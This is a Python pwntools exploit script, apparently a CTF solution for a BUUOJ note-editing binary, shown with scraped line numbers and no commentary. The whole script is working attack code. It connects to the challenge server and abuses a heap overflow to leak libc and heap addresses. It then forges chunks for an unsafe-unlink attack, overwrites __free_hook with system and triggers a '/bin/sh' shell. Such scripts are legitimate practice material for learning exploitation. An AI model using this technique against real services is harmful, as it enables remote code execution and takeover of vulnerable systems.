1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import *
sh = remote('node3.buuoj.cn',27557) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] system_s = libc.sym['system'] binsh_s = libc.search('/bin/sh').next()
def show(): sh.sendlineafter('Your choice:','1')
def add(size,content): sh.sendlineafter('Your choice:','2') sh.sendlineafter('Length of new note:',str(size)) sh.sendafter('Enter your note:',content)
def edit(index,size,content): sh.sendlineafter('Your choice:','3') sh.sendlineafter('Note number:',str(index)) sh.sendlineafter('Length of note:',str(size)) sh.sendafter('Enter your note:',content)
def delete(index): sh.sendlineafter('Your choice:','4') sh.sendlineafter('Note number:',str(index))
add(0x80,'a'*0x80)
add(0x80,'b'*0x80)
add(0x80,'c'*0x80)
add(0x80,'d'*0x80)
delete(1) delete(2)
edit(0,0x90,'a'*0x90)
show() sh.recvuntil('a'*0x90) main_arena_88 = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s binsh_addr = libc_base + binsh_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr)
fake_chunk = p64(0) + p64(0x21) fake_chunk += 'a'*0x10 payload = 'a'*0x80 payload += fake_chunk*2 payload = payload.ljust(0x118,'a')
payload += p64(0x21) payload = payload.ljust(0x180,'a') edit(0,0x180,payload)
delete(1)
edit(0,0x90,'a'*0x90) show() sh.recvuntil('a'*0x90) heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) heap_0_ptr_addr = heap_addr - 0x1980 print 'heap_0_ptr_addr=',hex(heap_0_ptr_addr)
fake_chunk = p64(0) + p64(0x81)
fake_chunk += p64(heap_0_ptr_addr - 0x18) + p64(heap_0_ptr_addr - 0x10) payload = fake_chunk.ljust(0x80,'a')
payload += p64(0x80) + p64(0x90) payload = payload.ljust(0x100,'a') edit(0,0x100,payload)
delete(1)
payload = p64(10) payload += p64(1) + p64(0x8) + p64(free_hook_addr) payload += p64(1) + p64(0x8) + p64(binsh_addr) payload = payload.ljust(0x100,'\x00') edit(0,0x100,payload)
edit(0,0x8,p64(system_addr))
delete(1)
sh.interactive()
|